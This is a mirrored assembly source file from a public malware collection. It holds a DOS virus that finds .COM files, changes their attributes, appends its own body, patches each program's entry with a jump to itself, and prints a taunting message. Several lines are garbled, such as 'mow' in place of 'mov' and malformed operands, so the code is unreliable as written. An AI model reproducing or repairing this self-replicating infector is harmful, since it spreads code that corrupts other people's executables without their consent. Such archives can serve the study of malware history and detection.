mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-18 17:36:11 +00:00
227 lines
2.8 KiB
NASM
227 lines
2.8 KiB
NASM
.8086
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page ,132
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cseg segment
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assume cs:cseg,ds:cseg,es:cseg
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org 100h
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start:
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db 0E9h
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dw 15h
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id dw 0FFFFh
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org 110h
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virus:
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push ds
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mov ax,cs
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db 00000101b
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new_ds dw 0FFFFh
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mow ds,ax
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restore_3_bytes:
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mow al,bytes_3[0]
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mow byte ptr cs:[100h],al
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mow al,bytes_3[1]
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mow byte ptr cs:[101h],al
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mov al,bytes_3[2]
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mow byte ptr cs:[102h],al
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store_dta:
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mow cx,100h
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mov bx,0
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dta_s:
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mov al,byte ptr cs:[bx]
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mov byte ptr dta[bx],al
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inc bx
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loop dta_s
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find_first:
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lea dx,fmask
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mov cx,00100000b
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mov ah,4Eh
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int 21h
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jnc store_fname
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jmp err
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find_next:
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mov bx,handle
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mov ah,3Eh
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int 21h
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mov handle,0FFFFh
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mov ah,4Fh
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int 21h
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jnc store_fname
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jmp err
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store_fname:
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cmp byte ptr cs:[95h],00000001b
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je find_next
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mov bx,0
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next_sym:
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mov al,byte ptr cs:[bx+9Eh]
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mov fname[bx],al
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cmp byte ptr cs:[bx+9Eh],0
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je set_attrib
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inc bx
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cmp bx,13
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jng next_sym
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jmp err
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set_attrib:
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lea dx,fname
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mov cx,00100000b
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mov ax,4301h
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int 21h
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jnc read_handle
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jmp err
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read_handle:
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lea dx,fname
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mov ax,3D02h
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int 21h
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jnc read_3_bytes
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jmp err
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read_3_bytes:
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mov handle,ax
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lea dx,bytes_3
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mov bx_handle
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mov cx_3
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mov ax,3Fh
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int 21h
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jnc read_flen
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jmp err
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read_flen:
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mov cx,0
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mov dx,0
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mov bx,handle
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mov al,2
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mov ah,42h
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int 21h
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jnc check_id
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jmp err
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check_id:
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mov flenold,ax
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test ax,00001111b
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jz just
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or ax,00001111b
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inc ax
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just:
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mov flen,ax
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cmp ax,64500
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jna calc_ds
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jmp find_next
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calc_ds:
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mov cl,4
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shr ax,cl
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dec ax
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mov byte ptr new_ds[0],al
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mov byte ptr new_ds[1],ah
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mov cx,0
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mov dx,flenold
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dec dx
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mov bx,handle
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mov al,0
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mov ah,42h
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int 21h
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jnc read_id
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jmp err
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read_id:
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lea dx,bytes_3[3]
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mov bx,handle
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mov cx,1
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mov ah,3Fh
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int 21h
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jnc test_id
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jmp find_next
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test_id:
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cmp bytes_3[3],'$'
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jne not_infected
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jmp find_next
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not_infected:
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mov ax,flen
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sub ax,03h
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mov jmp_l,al
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mov jmp_h,ah
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mov cx,0
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mov dx,flen
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mov bx,handle
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mov ax,4200h
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int 21h
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jc err
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lea dx,virus
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mov cx,virlen
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mov bx,handle
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mov ah,40h
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int 21h
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jc err
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write_jmp:
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mov cx,0
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mov dx,0
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mov bx,handle
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mov al,0
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mov ah,42h
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int 21h
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jc err
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lea dx,jmpvir
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mov cx,3
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mov bx,handle
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mov ah,40h
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int 21h
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jc err
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print_msg:
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lea dx,msg
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mov ah,09h
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int 21h
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err:
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cmp handle,0FFFFh
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je exit
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close_file:
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mov bx,handle
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mov ah,3Eh
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int 21h
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exit:
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cmp cs:[id],0FFFFh
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je goto_dos
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restore_dta:
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mov cx,100h
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mov bx,0
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dta_r:
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mov al,byte ptr dta[bx]
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mov byte ptr cs:[bx],al
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inc bx
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loop dta_r
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goto_start:
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mov ax,cs
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mov ds:[start_s],ax
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pop ds
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db DEAh
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dw 0100h
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start_s dw (?)
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goto_dos
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mov ax,4C00h
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int 21h
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fmask db '*.com',0h
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fname db 12 dup (?),0h
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flenold dw (?)
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flen dw (?)
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handle dw 0FFFFh
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jmpvir db 0E9h
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jmp_l db (?)
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jmp_n db (?)
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bytes_3 db 3 dup (?)
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db (?)
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dta db 101h dup (?)
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msg db 0Ah,0Dh,'Hallo! I have got a virus for you!',0Ah,0Dh,'$'
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virlen equ $-virus
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cseg ends
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end start |